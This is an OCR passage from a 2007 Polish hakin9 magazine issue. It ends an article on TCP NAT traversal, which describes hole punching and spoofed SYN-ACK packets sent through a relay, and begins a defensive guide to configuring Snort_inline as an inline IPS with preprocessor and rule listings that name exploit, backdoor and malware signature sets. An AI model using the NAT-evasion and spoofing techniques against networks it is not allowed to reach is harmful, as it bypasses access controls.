go. A łączy się do publicznego inter-
fejsu hosta B używając portu 3000
jako źródłowego. Podobnie postępu-
je B. Jeśli NAT nie jest symetryczny,
to powinien użyć portu 3000 przy łą-
czeniu się z A do publicznego inter-
fejsu B. W momencie przechodzenia
pakietu z ustawioną flagą SYN przez
router, NAT zapamiętuje informację o
mapowaniu i będzie wpuszczał pakie-
ty, które pochodzą od NAT drugiego
hosta. Przebieg nawiązywania połą-
czenia jest w większości identyczny
jak w przypadku komunikacji za po-
mocą UDP.

Kolejność wysyłania i odbiera-

nia pakietów ma tutaj dość duże zna-
czenie. Mogą tutaj zajść następują-
ce przypadki:

• Pakiet z SYN komputera A dotrze

do R2 przed wysłaniem przez B
pakietu inicjalizującego połączenie
do A (lub przypadek odwrotny);

• A i B wyślą pakiety równocześnie

co spowoduje, że B otrzyma pa-
kiet z SYN pochodzący od A i vi-
ce versa. Jeśli pakiety są ideal-
nie zsynchronizowane w czasie,
dochodzi do tak zwanego równo-
ległego otwarcia połączenia.

W jednym i drugim przypadku zajdzie
sytuacja, w której host posiadający
gniazdo nasłuchujące na porcie P
i próbujący nawiązać połączenie uży-
wając portu P jako źródłowego otrzy-
ma pakiet z ustawioną flagą SYN.
W zależności od implementacji stosu

TCP/IP przychodzący pakiet zosta-

nie skojarzony albo z gniazdem na-
słuchującym, albo z gniazdem, które
próbowało nawiązać połączenie. Nie
mniej jednak oba przypadki dopro-
wadzają do nawiązania połączenia.
W pierwszym przypadku – pakiet zo-
stanie zinterpretowany jako próba na-
wiązania połączenia. W odpowiedzi
zostanie odesłany pakiet z ustawioną
flagą SYN-ACK. Funkcja connect wy-
wołana na maszynie, która zaakcep-
towała połączenie, zwróci błąd, gdyż
adresy i porty źródłowe oraz docelo-
we są używane przez inne połącze-
nie. W przypadku, gdy pakiet SYN zo-
stanie skojarzony z gniazdem próbu-
jącym nawiązać połączenie, gniazdo
nasłuchujące nie będzie w ogóle wy-
korzystywane. Funkcja connect zwróci
status świadczący o udanym połącze-
niu. Pakiet, który został wysłany przez
drugą maszynę nie zawierał flagi ACK,
więc stos TCP/IP wyśle pakiet z usta-
wionymi flagami SYN-ACK (zacho-
wując oryginalny i ustawiając własny
numer sekwencyjny pakietu). Druga
strona, w momencie odebrania pakie-
tu z ustawionymi flagami SYN-ACK,
potwierdza synchronizację numerów
sekwencyjnych, a całe połączenie jest
gotowe do „użytku”.

Przy stosowaniu tej techniki mo-

że dojść do sytuacji, w której oba
hosty wyślą w tym samym czasie pa-
kiet SYN do siebie, a następnie oba
jednocześnie potwierdzą otrzyma-
ne numery sekwencyjne pakietem

SYN-ACK a następnie ACK. Imple-
mentacje TCP/IP różnie radzą sobie
z tą sytuacją. Możliwa jest sytuacja, w
której z obu stron wywołania connect
się nie powiodą, natomiast połącze-
nie zostanie „magicznie stworzone”
gniazdami nasłuchującymi (po obu
stronach accept się powiedzie).

Stosowanie tej techniki pociąga

za sobą konieczność istnienia dwóch
gniazd przypiętych do tego samego
portu. Niektóre systemy tego nie po-
trafią u muszą w zamian użyć sekwen-
cyjnej wersji wyżej opisanego algoryt-
mu. Host A zgłasza chęć połączenia
się z B poprzez serwer C. B wykonuje
połączenie do publicznego interfejsu A.
Połączenie to się nie udaje, ponieważ
R1 nie wpuszcza pakietów od B. Na-
stępnie B tworzy gniazdo nasłuchujące

i czeka na połączenia od A. Jeśli NAT
po stronie B nie zlikwiduje wpisów o
połączeniu

B->A

w momencie niepowo-

dzenia połączenia, to A może zerwać
połączenie z C i dokonać próby połą-
czenia się na publiczny interfejs B (uży-
wając tego samego portu źródłowego,
którego używał łącząc się z C). NAT po
stronie B powinien wpuścić żądanie A
umożliwiając gniazdu nasłuchującemu
komputera B nawiązanie połączenia.

Wprawny czytelnik niewątpliwie

zauważy, że skoro NAT R1 i R2 nie
zmieniają portów źródłowych to po-
średnik C nie jest potrzebny. Uwaga
ta jest słuszna zarówno dla protoko-
łu UDP jak i również TCP. Jeśli tyl-
ko hosty A i B znają adresy swoich
publicznych interfejsów, ustaliły port,
na którym chcą dokonać połączenia
i zaczną całą operację w tym samym
czasie – połączenie zostanie zreali-
zowane. W przypadku braku transla-
cji portu pośrednik służy wyłącznie
do wymiany informacji o adresach IP
i synchronizacji całej operacji.

TCP – inne podejście

Złożoność protokołu TCP sprawia, że
istnieją alternatywne podejścia do te-
go prezentowane wyżej. Podobnie jak
w przypadku UDP można posłużyć się
metodą polegającą na ustaleniu takiej
wartości TTL, aby pakiet mógł swo-
bodnie opuścić sieć lokalną, ale na ty-
le małej, aby nie dotarł do routera do-
celowego. Gdy oba hosty wyślą takie
pakiety, spowoduje to skonfigurowa-
nie ich routerów NAT tak, aby akcep-
towały pakiety należące do przyszłe-
go połączenia. Po otwarciu „tunelów”
w NAT można postąpić na trzy sposo-
by. Pierwszy polega na poinformowa-
niu przez A oraz B serwera pośredni-
czącego o numerach sekwencyjnych
użytych do otwarcia tunelu. Następnie
serwer pośredniczący wysyła dwa pa-
kiety ze sfałszowanymi adresami źró-
dłowymi. Pakiet y mają ustawione fla-
gi SYN-ACK i ich zadaniem jest zasy-
mulowanie drugiego etapu połączenia
A z B i B z A. Stosowanie tej techni-
ki pociąga za sobą konieczność zna-
lezienia ISP, który pozwala na wysy-
łanie sfałszowanych ramek, co może
stanowić największy problem. Kolejny
pomysł polega na tym, aby po otwar-

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

57

Tekst wprowadzony do okienka ter-
minala hosta B zostanie odebrany
przez serwer A oraz odesłany z po-
wrotem do klienta B.

Czarne chmury na

horyzoncie i nie tylko

Jeśli NAT posiada maszynę stano-
wą, za pomocą której filtruje pakie-
ty, które nie powinny zostać przetwo-
rzone w danym stanie, to możliwe jest,
że nie uda nam się nawiązać połącze-
nia. Na przykład, jeśli jedynie akcep-
towalną przez NAT sekwencją pakie-
tów jest SYN, SYN-ACK, ACK, to NAT
nie zaakceptuje drugiego przychodzą-
cego pakietu SYN prezentowanego w
drugim podejściu czy wychodzącego
pakietu SYN-ACK z trzeciego podej-
ścia, nie mówiąc już o metodzie, któ-
ra nie stosuje metody z TTL. Kolejny
problem może stwarzać interpretowa-
nie pakietów ICMP oraz tych z usta-
wioną flagą RST, które mogą spowo-
dować zmianę wewnętrzną stanu po-
łączenia w NAT. Ale warto mieć na
uwadze, że nawet najbardziej opor-
ne NAT można w sprzyjających wa-
runkach „przebić”. Wystarczy zastoso-
wać mechanizmy przewidywania por-
tów, dobrze zsynchronizować moment
nawiązywania połączenia lub zmodyfi-
kować stos TCP/IP po stronie klientów
tak, aby był w stanie nawiązywać po-
łączenia TCP pozwalając na małe od-
stępstwa od zasad protokołu. Opisa-
nie wszystkich pomysłów, które wyko-
rzystywano do przebijania NAT zajęło-
by znacznie więcej miejsca niż niniej-
szy artykuł, a nawet wystarczyłoby na
małą książkę.

Czekając na koniec świata

Przebijanie mechanizmu translacji
adresów i portów jest bardzo ciekawą
i edukującą czynnością.

Można nauczyć się wiele nie tyl-

ko o mechanizmie działania NAT,
ale również poznać zasady rządzą-
ce stosami TCP/IP. Producenci opro-
gramowania oraz urządzeń VoIP wy-
korzystują wyżej wymienione techniki
w swoich rozwiązaniach praktycz-
nie od momentu, kiedy technologia
ta stała się powszechnie stosowana.
Problem nawiązywania bezpośred-
nich połączeń jest zatem aktualny. l

ciu tunelu w NAT przez host A (pa-
kietem SYN), wyłącznie host B doko-
nał próby bezpośredniego połączenia
się do publicznego interfejsu hosta A.
W odróżnieniu od poprzedniego sposo-
bu, pośrednik służy wyłącznie do syn-
chronizacji. Trzecie podejście wymaga
otwarcia tunelu po obu stronach – za-
równo NAT hosta A jak i B. Dodatkowo
wymagana jest wymiana poprzez po-
średnika informacji o numerach se-
kwencyjnych użytych do otwarcia
„tunelu”. Następnie hosty A oraz B
wysyłają po jednym pakiecie każdy.
Pakiet powinien posiadać ustawio-
ne flagi SYN-ACK oraz numer se-
kwencyjny zdalnej maszyny uzyskany
od pośrednika. Jedna z wyżej opisa-
nych metod została zaimplementowa-
na w bibliotece XSTUNT. Do tworze-
nia bezpośrednich połączeń wykorzy-
stuje ona pośredniczący który oprócz
synchronizacji służy również do wykry-
cia typów NAT łączących się klientów.

Serwer do poprawnego działania wy-
maga dwóch adresów IP, które wyko-
rzystywane one są do określenia typu
NAT. Aby uruchomić serwer wystarczy
wydać polecenie:

./XSTUNTServer 157.158.180.200
157.158.180.201

Na stronie XSTUNT dostępny jest
przykład klienta oraz serwera biblio-
teki. Serwer rejestruje się w kompu-
terze pośredniczącym i oczekuje na
połączenie od klienta. Klient łącząc
się do serwera (poprzez pośrednika)
wysyła do niego tekst wprowadzany
interaktywnie z klawiatury. Serwer
odebrawszy dane od klienta wysyła
je z powrotem do klienta. Oczywiście
połączenie pomiędzy klientem a ser-
werem jest połączeniem bezpośred-
nim pomiędzy sieciami lokalnymi.

Aby sprawdzić działanie przykła-

du ze strony wystarczy na hoście A
wydać polecenie:

./xecho server to_jest_id_mojego_
serwera 157.158.180.200 157.158.180.201

Natomiast na komputerze B nale-
ży uruchomić ten sam program lecz
z innymi parametrami:

./xecho client client_id to_jest_id_
mojego_serwera 157.158.180.200
157.158.180.201

O autorze

Konrad Malewski, absolwent informa-
tyki Politechniki Śląskiej. Obecnie dok-
torant informatyki na AGH. Administra-
tor amatorskich sieci komputerowych.
Zarówno w pracy jak i prywatnie intere-
suje się programowaniem oraz bezpie-
czeństwem aplikacji sieciowych.
Kontakt z autorem:
[e-mail]

Terminologia

• NAT – (ang. Network Address Translation), zwana także „maskaradą”. Usługa

działająca na routerze pozwalająca komputerom w sieci lokalnej na transparentny
dostęp do innej sieci (zazwyczaj Internet). Czasami można spotkać się ze stwier-
dzeniem host NAT, host za NATem. W pierwszym przypadku chodzi po prostu o
komputer, na którym działa usługa NAT. Drugie określenie jest wykorzystywane
do określenia komputera korzystającego z tejże usługi.

• STUN – (ang. Simple Traversal of User Datagram Protocol Through Network Ad-

dress Translators). Generalnie oznacza protokół, dzięki któremu host za NAT mo-
że wykryć swój publiczny adres, typ NAT, sposób mapowania jego połączeń etc.
Mianem tym określa się również technikę tworzenia połączeń pomiędzy sieciami
lokalnymi za pomocą protokołu UDP.

• TURN – (ang. Traversal Using Relay NAT). Protokół za pomocą którego dwa ho-

sty znajdujące się w różnych sieciach lokalnych przesyłają do siebie dane wyko-
rzystując pośrednika.

Pakiet SYN, Pakiet SYN-ACK, Pakiet ACK – Nagłówek protokołu TCP posiada pola
będące flagami, które wykorzystywane są między innymi do nawiązywania, kończenia
oraz synchronizacji połączenia. Pakiet SYN stanowi wiadomość TCP z ustawioną flagą
SYN. Pakiety SYN-ACK oraz pakiet ACK analogicznie.

www.hakin9.org

hakin9 Nr 1/2007

58

Obrona

S

nort to w zasadzie system detekcji wła-
mań (ang. Intrusion Detection System,
IDS), jego natywny tryb działania opiera

się więc na wykorzystaniu karty sieciowej nasłu-
chującej ruchu w danym segmencie sieci.

Aby Snort_inline był w stanie przetwarzać

ruch w segmencie sieci musi on zostać niewi-
dzialnie weń włączony, za pomocą dwóch kart
sieciowych w trybie mostka (ang. bridge) oraz
funkcjonalności inline. Funkcjonalność tę za-
pewnia nam kolejkowanie ruchu poprzez ipta-
bles (

ip _ queue

); nie jest to jednak wszystko,

musimy bowiem wiedzieć także, na poziomie ip-
tables, który ruch kolejkować. Dzięki temu trybo-
wi pracy Snort_inline może on zachowywać się
jak każdy inny system zapobiegania włamaniom
(ang. Intrusion Prevention System, IPS) i bloko-
wać nawiązywane połączenia. Aby Snort mógł
działać jako system zapobiegania włamaniom
musi on zostać skompilowany z opcją pobiera-
nia flex-response, co pozwala mu na resetowa-
nie ruchu, który ma być blokowany.

Podsumowując, możemy stwierdzić że

Snort_inline to zdecydowanie najefektywniej-
szy i najdokładniejszy tryb, jako że odrzuca
on ruch w sieci na podstawie załadowanych
uprzednio reguł.

Snort_inline w sieci lokalnej

Pierwsza część niniejszego artykułu poświę-
cona będzie krótkiemu wprowadzeniu do za-
gadnienia Snort_inline w sieci lokalnej. Zakła-
damy, że ruch w LANie zorientowany jest głów-
nie na klientów. Na tej podstawie zdefiniować
można następujące klasy ruchu w sieci:

• poczta, klienci WWW, p2p, komunikatory,

spyware, malware, wirusy, trojany, vpn.

Wspólną cechą wszystkich tych typów z punk-
tu widzenia IDS / IPS jest, że nie możemy prze-
twarzać ruchu zaszyfrowanego; oznacza to
brak na liście usług vpns oraz ssl.

Snort_inline

Pierpaolo Palazzoli, Matteo Valenza

stopień trudności

Wykorzystanie Snort_inline okazało się skuteczną strategią

na zabezpieczenie sieci wewnętrznych, DMZ oraz domowych,

w przypadku wielu różnych środowisk i scenariuszy. Aby

narzędzie to działało poprawnie w trybie drop powinno ono

adaptować się do właściwości środowiska, które chroni.

Z artykułu dowiesz się...

• jak działa Snort_inline,
• podstaw systemów zapobiegania włamaniom,
• jak dostrajać konfigurację Snort_inline.

Powinieneś wiedzieć...

• podstawy TCP/IP w środowisku Linux,
• podstawowe zasady działania IDSów.

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

59

Rysunek 1 pokazuje poprawne

rozwiązanie dla ochrony tego rodza-
ju, w którym IPS umieszczony po-
między routerem, a resztą sieci po-
zwala nam analizować ruch, który
chcemy monitorować bądź ochra-
niać.

Po poprawnym przygotowaniu

urządzenia musimy dowiedzieć się,
jakie reguły i preprocesory Snorta
będziemy wykorzystywać.

Załóżmy, że konfiguracja Snorta

znajduje się w pliku snort_inline.conf
– na przykład taka, jak dostępna
pod adresem www.snortattack.org/

mambo/script/snort_inline.conf
– i że dla sieci lokalnej zawiera ona

preprocesory jak pokazano na Li-
stingu 1.

Preprocesory dla sieci

lokalnych

Preprocesory te przedstawia Li-
sting 1. Poniżej znajdziecie krótki
opis poszczególnych wymienionych
w nim komponentów i funkcji.

Clamav – procesor ten insta-

lowany jest jedynie wtedy, gdy zo-
stał wybrany podczas instalacji
(

--enable-clamav

). Dokonuje on skano-

wania w poszukiwaniu wirusów z bazy
danych Clamava i upewnia się, że nie
są one zaszyfrowane bądź spakowa-
ne. Preprocesor ten niezmiernie wy-

dajnie blokuje e-maile zainfekowane
na potrzeby phishingu. Wykorzystuje
on następujące funkcje:

•

ports

– lista portów do skanowa-

nia (all, !22 – oprócz 22, 110 – tyl-
ko 110)

•

toclientonly

– określa kierunek

skanowanego ruchu

•

action-drop

– informuje urządze-

nie, jak reagować na wirusy

•

dbdir

– katalog zawierający bazę

danych definicji Clamava

•

dbreloadtime

– co ile czasu baza

powinna zostać przeładowana

Perfmonitor – preprocesor ten po-
zwala nam na zapisywanie w postaci
tekstowej wszelkich statystyk zwią-
zanych z wydajnością oraz przepły-
wem danych w sieci. Jest on krytycz-
ny dla poprawnego funkcjonowania
narzędzia pmgraph, o którym powie-
my więcej później. Również i ten pre-
procesor należy uruchomić podczas
instalacji (

--enable-perfmon

). Posia-

da następujące funkcje:

•

time –

czas niezbędny do prób-

kowania odczytu danych

Scenariusze dla Snort_inline

Należy zauważyć, że system zorientowany na blokowanie włamań powinien być odpo-
wiednio skonfigurowany i gotowy do adaptacji do dowolnych scenariuszy sieciowych
i rodzajów ruchu. Korzystanie z IPS w trybie inline nie rozwiązuje wszystkich proble-
mów z bezpieczeństwem, pozwala za to na stworzenie scentralizowanego, dynamicz-
nego i wydajnego systemu bezpieczeństwa. IPS powinien wykrywać ruch do i z chro-
nionego źródła. Dzięki interfejsom sieciowym działającym w trybie mostka możemy
niezauważalnie włączyć urządzenie w sieć i w ten sposób zebrać wszelkie niezbędne
dane. Do stworzenia urządzenia inline potrzebna jest nam wiedza o wszelkich właści-
wościach chronionej sieci – od warstwy sieci po warstwę aplikacji.

Poniżej opiszemy kilka przykładów rodzajów segmentów sieciowych, w których

implementacja IPS w trybie inline mogłaby przynieść korzyści zwiększając bezpie-
czeństwo całego systemu:

• sieć wewnętrzna; grupa klientów obsługujących WWW, pocztę, komunikatory, p2p

itd. (Rysunek 1),

• DMZ; grupa serwerów zapewniających usługi powiązane z Internetem (smtp, web,

ftp, pop3, imap, mysql itd.) (Rysunek 2),

• LAN + DMZ (Rysunek 3).

Przede wszystkim powinniśmy na jakiś czas uruchomić Snort_inline w trybie IDS (Alert),
który to czas proporcjonalny jest do rozmiaru sieci (innymi słowy, im większa liczba sys-
temów w niej, tym więcej potrzeba czasu). W okresie tym powinniśmy:

• wychwycić awarie (problemy z wydajnością bądź składowaniem danych, spowol-

nienia itd.),

• przeanalizować ruch w sieci pod kątem fałszywych alarmów.

W ten sposób obserwując zebrane dane możemy dokonać zmian w konfiguracji i zop-
tymalizować działanie urządzenia. Warto zauważyć, że w porównaniu z rozwiązania-
mi komercyjnymi implementacja otwartego IPS może nie być tak prosta, jak się to mo-
że wydawać, możesz mieć zatem pewne problemy z usuwaniem wielu fałszywych alar-
mów na pierwszym etapie procedury dostrajania.

Sugerujemy instalację Snort_inline na dedykowanym komputerze i odpowiednią

organizację jego zasobów sprzętowych (CPU, RAM), według następujących, prostych
zasad: większa liczba reguł wymaga więcej RAMu, zaś duża intensywność ruchu w
sieci zwiększa obciążenie procesora.

Niedawne testy sieciowe pokazały, że do zabezpieczenia połączenia ADSL

(1280/256) potrzebny jest system Geode o częstotliwości zegara 266 MHz i z 128 MB
RAMu (w przypadku tysiąca reguł). Dla pasm o szerokości większej niż 1 Mbps zale-
camy Pentium 4 1 GHz z 512 MB RAM (w przypadku trzech tysięcy reguł).

Rysunek 1.

Ustawiamy urządzenie

w sieci lokalnej

hakin9 Nr 1/2007

www.hakin9.org

Obrona

60

•

File –

ścieżka do pliku z danymi

•

pkcnt –

maksymalna liczba re-

kordów, jaka może znaleźć się w
jednym pliku

Flow – preprocesor ten potrzebny
jest do działania innych preproce-
sorów, takich jak

flowbits detection

plug-in

czy

flow-portscan

. W skrócie,

preprocesor Flow pozwala Snortowi
przechowywać mechanizmy akwi-
zycji danych. Ma następujące funk-
cje:

•

stats _ interval

– parametr ten

określa przedziały czasu, w se-
kundach, w których Snort będzie
zrzucać statystyki na standardo-
we wyjście.

•

Hash

– parametr ten określa me-

todę mieszania. Wartość 1 defi-
niuje mieszanie po bajcie, war-
tość 4 – mieszanie po liczbie cał-
kowitej.

Stream 4 – preprocesor ten daje
Snortowi umiejętność widzenia pod-
stawowych właściwości pakietów
oraz to, gdzie został wygenerowany
(klient czy serwer). Cytując Marty-
'ego Roescha: Zaimplementowałem

stream4 na skutek chęci uzyskania

potężniejszych mechanizmów po-

nownego składania strumieni i obro-

ny przed najnowszymi 'atakami bez-

stanowymi. Wykorzystuje następują-
ce funkcje:

•

disable _ evasion _ alerts

– wy-

łącza alarmy zapisywane przez
stream4

•

midstream _ drop _ alerts

– na-

kazuje preprocesorowi blokowa-
nie połączeń generowanych bez
tworzenia danego strumienia.

Rpc decode – preprocesor ten po-
nownie składa strumienie rpc z po-
jedynczych pakietów celem ułatwie-
nia ich analizy, jeżeli obecny jest pre-
procesor stream4 możliwe jest prze-
twarzanie tylko ruchu wychodzące-
go od klientów.

Telnet decode – preprocesor

ten normalizuje przepływ znaków
w sesjach protokołu telnet. Nale-
ży podać mu porty, które ma prze-
twarzać.

Reguły dla sieci lokalnych

Kiedy już zdefiniowaliśmy preproce-
sory, Snort potrzebuje określenia w
konfiguracji odpowiednich reguł. Ist-
nieje wiele różnych rodzajów reguł:

•

alert

– generuje komunikat alar-

mowy, a następnie odnotowu-
je go go w pliku bądź bazie da-
nych.

•

log

– zapisuje do pliku bądź bazy

danych.

•

pass

– ignoruje wybrany przez

siebie ruch.

•

drop

– za pomocą iptables odrzu-

ca pakiet, a następnie odnotowu-
je go w pliku bądź bazie danych

•

reject

– w przypadku TCP; połą-

czenie jest resetowane z pomocą
iptables, w przypadku UDP wy-
syłany jest komunikat icmp host

unreachable; następnie zdarze-
nie odnotowywane jest w pliku
bądź bazie danych

•

sdrop

– odrzuca pakiet za pomo-

cą iptables nie logując go.

W przedstawionym tutaj przykła-
dzie zadaniem reguły jest blokowa-
nie miosito.com; jest to część zbio-
ru reguł służącego blokowaniu ru-
chu kierowanego do sieciowych ka-
syn nieprzestrzegających reguł wło-
skiego prawa. Funkcja

drop

określa

działanie, które iptables musi wyko-
nać jak tylko reguła zostanie zasto-
sowana.

Listing 1.

Zalecane preprocesory dla sieci lokalnej

preprocessor perfmonitor: time 60 file/var/log/snort/perfmon.txt pktcnt 500
preprocessor flow:stats_interval 0 hash 2
preprocessor stream4_reassemble: both
preprocessor stream4: disable_evasion_alerts
midstream_drop_alerts
preprocessor clamav:ports all !22 !443,toclientonly, action-drop,dbdir /var/lib/clamav,dbreload-time 43200
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode

Tryb mostka

Ustawienie dwóch kart w tryb mostka oznacza połączenie ich funkcjonalności w
warstwie drugiej, co czyni je przezroczystymi dla ruchu w sieci. W trybie tym pa-
kiety przekazywane są z jednej karty do drugiej, co pozwala na poprawne przeka-
zywanie ruchu. Aby uruchomić ten tryb pod Linuksem należy wykonać następują-
ce operacje:

Instalujemy pakiet

bridge-utils

-

apt-get install bridge-utils

; potrzebne

będzie jądro w wersji 2.6, w przeciwnym razie należy ponownie skompilować jądro
wersji 2.4 włączywszy uprzednio moduł mostka. Mostek pomiędzy dwoma kartami
sieciowymi można zestawić następująco:

/usr/sbin/brctl addbr br0
/usr/sbin/brctl addif br0 eth0
/usr/sbin/brctl addif br0 eth1
/sbin/ifconfig br0 up

Adres MAC przypisany br0 będzie taki sam, jak adres pierwszego interfejsu, który zo-
stał z nim skojarzony.

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

61

drop tcp $home_net any ->
any $http ports (
msg:"snortattack-italian-law";
flow:established;content: "miosito.com";
classtype:policy-violation;
reference:url,
www.snortattack.net;
)

Przeznaczeniem konfiguracji przed-
stawionej na Listingu 2 jest kontro-
la aplikacji p2p, ochrona przed ata-
kami z wewnątrz (które to ataki sta-
nowią niemal 70% wszystkich ata-
ków), a przede wszystkim selekcja
treści oglądanych przez wewnętrz-
ne hosty.

Snort_inline w DMZ

Drugą część artykułu poświęcimy
krótkiemu wprowadzeniu do zagad-
nienia Snort_inline w DMZ.

Jak wspomnieliśmy wcześniej,

ruch sieciowy w DMZ z założenia
dotyczyć będzie głównie serwe-
rów. Na tej podstawie zdefiniować
możemy następujące klasy ruchu
w DMZ:

• serwer poczty, serwer WWW,

serwer bazodanowy, serwer apli-
kacji, wirus, vpn.

Jednym z możliwych rozwiązań
dla tego rodzaju segmentów sie-
ciowych jest umieszczenie weń
IPS. Tym razem system umiesz-
czony będzie pomiędzy routerem,
a DMZ.

Preprocesory dla sieci DMZ

Jedynym preprocesorem, którego
konfiguracja uległa zmianie jest Cla-
mav – ważne jest zdefiniowanie dlań
parametru

toserveronly

aby wybrać

jedynie ruch skierowany do serwe-
rów. Patrz Listing 3.

Frag3 – preprocesor ten zastę-

puje frag2 i jest niezbędny do re-
konstrukcji strumienia danych roz-
członkowanego wskutek fragmenta-
cji transmisji.

Reguły dla sieci DMZ

Po zdefiniowaniu wszystkich pre-
procesorów musimy podać Snortowi
trochę reguł. Poniżej znajdziesz kilka
ich zastosowań:

•

max _ frags

– maksymalna liczba

śledzonych fragmentów

•

policy

– wybiera sposób frag-

mentacji, dostępne metody to
first, ast, bsd, bsd-right, linux.
Domyślnym ustawieniem jest
bsd.

•

detect _ anomalies

– wykrywa

błędy fragmentacji.

Reguły zalecane do użytku w sieci
DMZ przedstawia Listing 4.

Listing 2.

Lista przydatnych reguł do ochrony sieci lokalnej

# Ogólne

include

/

etc

/

snort_inline

/

rules

/

bleeding

.

rules

# Głównie spyware

include

$

RULE_PATH

/

bleeding

-

malware

.

rules

include

$

RULE_PATH

/

malware

.

rules

include

$

RULE_PATH

/

spyware

-

put

.

rules

# Eksploity i ataki bezpośrednie

include

$

RULE_PATH

/

exploit

.

rules

include

$

RULE_PATH

/

bleeding

-

exploit

.

rules

include

$

RULE_PATH

/

community

-

exploit

.

rules

# DOS

include

$

RULE_PATH

/

dos

.

rules

include

$

RULE_PATH

/

ddos

.

rules

include

$

RULE_PATH

/

bleeding

-

dos

.

rules

# Dotyczące WWW

include

$

RULE_PATH

/

web

-

client

.

rules

include

$

RULE_PATH

/

community

-

web

-

client

.

rules

# Sygnatury poczty

include

$

RULE_PATH

/

community

-

mail

-

client

.

rules

# Trojany, wirusy oraz spyware

include

$

RULE_PATH

/

virus

.

rules

include

$

RULE_PATH

/

bleeding

-

virus

.

rules

include

$

RULE_PATH

/

community

-

virus

.

rules

# Peer to peer

include

$

RULE_PATH

/

p2p

.

rules

include

$

RULE_PATH

/

bleeding

-

p2p

.

rules

Rysunek 2.

Przykład sieci DMZ

hakin9 Nr 1/2007

www.hakin9.org

Obrona

62

Snort w sieci mieszanej

Jeżeli chodzi o urządzenie w sie-
ci mieszanej (pokazanej na Rysun-
ku 3), zalecamy następujące urzą-
dzenia.

Preprocesory dla sieci miesza-

nej znaleźć można na Listingu 5, od-
powiednie reguły zaś przedstawia
Listing 6. Przeznaczeniem opisanej
w nich konfiguracji jest kontrola wi-
rusów oraz ochrona maszyn przed
atakami z zewnątrz w oparciu o blo-
kowanie eksploitów wymierzonych
w usługi. Kilka różnych technik ata-
ku przedstawimy później, na bazie
praktycznych przykładów.

Monitorowanie ataków

i zarządzanie regułami

Interfejsy, które przeanalizujemy
i opiszemy, opierają się na bazach
danych. W zasadzie, wszystkie wy-
niki ze Snorta składowane będą
w różnego rodzaju bazach danych:
mysql, postgres itp.

Narzędzia te różnią się między

sobą i są napisane w różnych języ-
kach, jednak ogólnie rzecz biorąc
wszystkie robią to samo. Są to: ACID,
BASE, PLACID, SNORT REPORT,
SGUIL itd.

Narzędzia te, napisane w PHP

bądź Pythonie, mają krytyczne zna-

czenie dla dobrego IPS / IDS – kry-
tyczną jest bowiem wiedza o tym,
co dzieje się z naszym urządzeniem
i naszą siecią. Interfejsy te bar-
dzo prosto się instaluje, wystarczy
rozpakować archiwa i wyedytować
odpowiednie pliki konfiguracyjne
tak, by narzędzia łączyły się z bazą
danych Snorta.

Tutaj zdecydowaliśmy się przyj-

rzeć dwóm z nich: BASE oraz PLA-
CID.

Pierwsze z nich jest pochod-

ną ACID (Analysis Console for In-
trusion Database); BASE to skrót
od Basic Analysis and Security
Engine (patrz Rysunek 4). Narzę-
dzie to pozwala na przeglądanie
i przetwarzania bazy danych Snor-
ta i jest napisane w PHP. Jego siłą
jest wiele opcji badawczych oraz
możliwość grupowania alarmów
na podstawie ich adresów IP, jak
również innych parametrów, takich
jak czas bądź rodzaj reguły.

Podstawowa implementacja jest

półautomatyczna, wystarczy rozpa-
kować archiwum tar.gz w domyśl-
nym katalogu Apache'a (

/var/www/

),

zmienić właściciela utworzone-
go weń folderu oraz przejść do je-
go pierwszego poziomu za pomo-
cą przeglądarki. Zautomatyzowa-
na procedura przeprowadza nas
przez tworzenie niezbędnych tabel
i pozwala rozpocząć korzystanie
z aplikacji.

tar -zxvf base-1.2.4.tar.gz
mv base-1.2.4 base
mv base /var/www
chown apache. /var/www/base

PLACID

PLACID napisany został w Pytho-
nie i jest, podobnie jak BASE, prze-
glądarką zdarzeń w bazie danych.
Zapewnia taką samą funkcjonal-
ność jak BASE, jednak stwierdzo-
no, że działa szybciej w przypadku
większych baz danych.

Instalacja PLACID nie jest

taka prosta, trzeba zainstalować
Pythona 2.3 oraz określić w pli-
ku konfiguracyjnym Apache'a kilka
niezbędnych do poprawnego dzia-
łania parametrów:

Listing 3.

Lista preprocesorów dla sieci DMZ

Preprocesory dla DMZ
preprocessor perfmonitor: time 60 file /var/log/snort/perfmon.txt pktcnt 500
preprocessor flow: stats_interval 0 hash 2
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy first detect_anomalies
preprocessor stream4: disable_evasion_alerts detect_scans inline_state
preprocessor stream4_reassemble: both
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/

clamav, dbreload-time 43200

Listing 4.

Lista reguł zalecanych dla DMZ

include

$

RULE_PATH

/

bad

-

traffic

.

rules

include

$

RULE_PATH

/

exploit

.

rules

include

$

RULE_PATH

/

scan

.

rules

include

$

RULE_PATH

/

dos

.

rules

include

$

RULE_PATH

/

ddos

.

rules

include

$

RULE_PATH

/

dns

.

rules

include

$

RULE_PATH

/

web

-

cgi

.

rules

include

$

RULE_PATH

/

web

-

iis

.

rules

include

$

RULE_PATH

/

web

-

misc

.

rules

include

$

RULE_PATH

/

web

-

php

.

rules

include

$

RULE_PATH

/

community

-

web

-

php

.

rules

include

$

RULE_PATH

/

netbios

.

rules

include

$

RULE_PATH

/

attack

-

responses

.

rules

include

$

RULE_PATH

/

mysql

.

rules

include

$

RULE_PATH

/

virus

.

rules

include

$

RULE_PATH

/

web

-

attacks

.

rules

include

$

RULE_PATH

/

backdoor

.

rules

include

$

RULE_PATH

/

bleeding

-

virus

.

rules

include

$

RULE_PATH

/

bleeding

-

attack_response

.

rules

include

$

RULE_PATH

/

bleeding

-

dos

.

rules

include

$

RULE_PATH

/

bleeding

-

exploit

.

rules

include

$

RULE_PATH

/

bleeding

-

malware

.

rules

include

$

RULE_PATH

/

bleeding

-

scan

.

rules

include

$

RULE_PATH

/

bleeding

-

web

.

rules

include

$

RULE_PATH

/

community

-

exploit

.

rules

include

$

RULE_PATH

/

community

-

ftp

.

rules

include

$

RULE_PATH

/

community

-

web

-

misc

.

rules

include

$

RULE_PATH

/

community

-

smtp

.

rules

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

63

Addheandler cgi-script .cgi .sh .pl .py
<Directory /var/www/placid>
Options ExecCGI
